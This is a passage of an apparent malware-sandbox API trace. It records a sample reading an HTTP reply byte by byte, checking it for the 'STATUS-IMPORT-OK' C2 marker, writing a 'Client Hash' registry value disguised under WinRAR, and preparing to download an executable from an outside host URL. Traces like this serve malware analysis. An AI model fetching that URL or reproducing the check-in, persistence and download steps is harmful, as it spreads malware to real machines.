len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.856] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.856] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.856] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.856] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.856] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x74, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.856] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.856] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.856] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.856] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x65, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.856] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.856] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.856] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.856] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x78, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.856] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.856] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.856] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.857] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x74, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.857] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.857] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.857] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.857] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x2f, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.857] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.857] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.857] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.857] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x68, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.857] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.857] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.857] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.857] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x74, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.857] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.857] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.857] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.857] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x6d, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.858] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.858] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.858] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.858] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x6c, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.858] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.858] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.858] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.858] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x3b, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.858] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.858] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.858] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.858] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.858] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.858] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.858] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.858] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x63, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.858] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.859] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.859] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.859] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x68, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.859] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.859] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.859] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.859] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x61, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.859] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.859] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.859] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.859] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x72, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.859] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.859] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.859] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.859] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x73, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.859] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.860] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.860] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.860] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x65, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.860] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.860] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.860] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.860] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x74, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.860] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.860] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.860] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.860] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x3d, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.860] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.860] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.860] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.860] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x55, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.860] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.860] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.860] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.861] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x54, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.861] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.861] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.861] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.861] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x46, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.861] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.861] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.861] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.861] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x2d, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.861] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.861] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.861] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.861] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x38, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.861] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.861] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.861] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.861] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0xd, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.862] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.862] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.862] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.862] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0xa, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.862] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.862] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.862] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.862] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x48, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.862] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.862] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x54, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.862] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.862] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x54, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.862] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.862] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x50, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.862] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.862] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x2f, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.862] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.862] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x31, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.862] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.862] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x2e, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.862] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x7, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.862] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x31, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.862] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x8, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.862] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.862] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x9, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.862] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x32, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.862] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xa, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.862] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x30, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.862] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xb, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.862] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x30, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.862] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xc, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.863] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.863] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xd, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.863] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x4f, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.863] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xe, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.863] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x4b, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.863] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.863] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.863] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.863] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0xd, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.863] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.863] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.863] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.863] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0xa, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.863] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.863] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.864] StrStrIA (lpFirst="HTTP/1.1 200 OK\r\nDate: Wed, 11 Apr 2018 09:24:17 GMT\r\nServer: Apache\r\nConnection: close\r\nContent-Type: text/html; charset=UTF-8\r\n\r\n", lpSrch="Content-Length:") returned 0x0 [0085.864] StrStrIA (lpFirst="HTTP/1.1 200 OK\r\nDate: Wed, 11 Apr 2018 09:24:17 GMT\r\nServer: Apache\r\nConnection: close\r\nContent-Type: text/html; charset=UTF-8\r\n\r\n", lpSrch="Location:") returned 0x0 [0085.864] select (in: nfds=0, readfds=0x12f574, writefds=0x0, exceptfds=0x0, timeout=0x12f56c | out: readfds=0x12f574, writefds=0x0, exceptfds=0x0) returned 1 [0085.864] select (in: nfds=0, readfds=0x12f574, writefds=0x0, exceptfds=0x0, timeout=0x12f56c | out: readfds=0x12f574, writefds=0x0, exceptfds=0x0) returned 1 [0085.864] recv (in: s=0x258, buf=0x12f68c, len=2048, flags=0 | out: buf=0x12f68c*) returned 20 [0085.864] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12f68c*=0x0, cb=0x14, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.864] select (in: nfds=0, readfds=0x12f574, writefds=0x0, exceptfds=0x0, timeout=0x12f56c | out: readfds=0x12f574, writefds=0x0, exceptfds=0x0) returned 1 [0085.864] recv (in: s=0x258, buf=0x12f68c, len=2048, flags=0 | out: buf=0x12f68c) returned 0 [0085.864] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.864] IStream:Clone (in: This=0x655c08, ppstm=0x12ff68 | out: ppstm=0x12ff68*=0x67a848) returned 0x0 [0085.874] IUnknown:Release (This=0x655c08) returned 0x0 [0085.874] LocalFree (hMem=0x683b68) returned 0x0 [0085.874] closesocket (s=0x258) returned 0 [0085.874] LocalFree (hMem=0x64f448) returned 0x0 [0085.874] LocalFree (hMem=0x679370) returned 0x0 [0085.874] LocalFree (hMem=0x675360) returned 0x0 [0085.874] GlobalUnlock (hMem=0x57001c) returned 0 [0085.874] GetHGlobalFromStream (in: pstm=0x67a848, phglobal=0x12ff4c | out: phglobal=0x12ff4c) returned 0x0 [0085.875] IStream:RemoteSeek (in: This=0x67a848, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.875] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x670c38 [0085.875] GlobalLock (hMem=0x57000c) returned 0x655e00 [0085.875] GlobalUnlock (hMem=0x57000c) returned 0 [0085.875] StrStrIA (lpFirst="", lpSrch="STATUS-IMPORT-OK") returned 0x0 [0085.875] LocalFree (hMem=0x670c38) returned 0x0 [0085.875] GetHGlobalFromStream (in: pstm=0x67a848, phglobal=0x12ff4c | out: phglobal=0x12ff4c) returned 0x0 [0085.875] IStream:RemoteSeek (in: This=0x67a848, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.875] GlobalLock (hMem=0x57000c) returned 0x655e00 [0085.875] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670c38 [0085.875] GlobalUnlock (hMem=0x57000c) returned 0 [0085.875] LocalFree (hMem=0x670c38) returned 0x0 [0085.875] GetHGlobalFromStream (in: pstm=0x67a848, phglobal=0x12ff4c | out: phglobal=0x12ff4c) returned 0x0 [0085.875] IStream:RemoteSeek (in: This=0x67a848, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.875] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x670c38 [0085.875] GlobalLock (hMem=0x57000c) returned 0x655e00 [0085.875] GlobalUnlock (hMem=0x57000c) returned 0 [0085.875] StrStrIA (lpFirst="STATUS-IMPORT-OK", lpSrch="STATUS-IMPORT-OK") returned="STATUS-IMPORT-OK" [0085.875] LocalFree (hMem=0x670c38) returned 0x0 [0085.875] IUnknown:Release (This=0x67a848) returned 0x0 [0085.875] RegCreateKeyA (in: hKey=0x80000001, lpSubKey="Software\\WinRAR", phkResult=0x12ff44 | out: phkResult=0x12ff44*=0x258) returned 0x0 [0085.875] RegSetValueExA (in: hKey=0x258, lpValueName="Client Hash", Reserved=0x0, dwType=0x3, lpData=0x12ff70*, cbData=0x10 | out: lpData=0x12ff70*) returned 0x0 [0085.876] RegCloseKey (hKey=0x258) returned 0x0 [0085.876] IUnknown:Release (This=0x6405d0) returned 0x0 [0085.876] LocalAlloc (uFlags=0x40, uBytes=0x2080) returned 0x683b68 [0085.876] LocalAlloc (uFlags=0x40, uBytes=0x2080) returned 0x685bf0 [0085.876] LocalAlloc (uFlags=0x40, uBytes=0x2080) returned 0x687c78 [0085.876] InternetCrackUrlA (in: lpszUrl="http://tnaapparels.com/44/panel/44.exe", dwUrlLength=0x0, dwFlags=0x80000000, lpUrlComponents=0x12fdb0 | out: lpUrlComponents=0x12fdb0) returned 1 [0085.876] InternetCreateUrlA (in: lpUrlComponents=0x12fdb0, dwFlags=0x80000000, lpszUrl=0x687c78, lpdwUrlLength=0x12fda0 | out: lpszUrl="http://tnaapparels.com/44/panel/44.exe", lpdwUrlLength=0x12fda0) returned 1 [0085.876] InternetCrackUrlA (in: lpszUrl="http://tnaapparels.com/44/panel/44.exe", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0x12fdb0 | out: lpUrlComponents=0x12fdb0) returned 1 [0085.876] wsprintfA (in: param_1=0x687c78, param_2="GET %s HTTP/1.0\r\nHost: 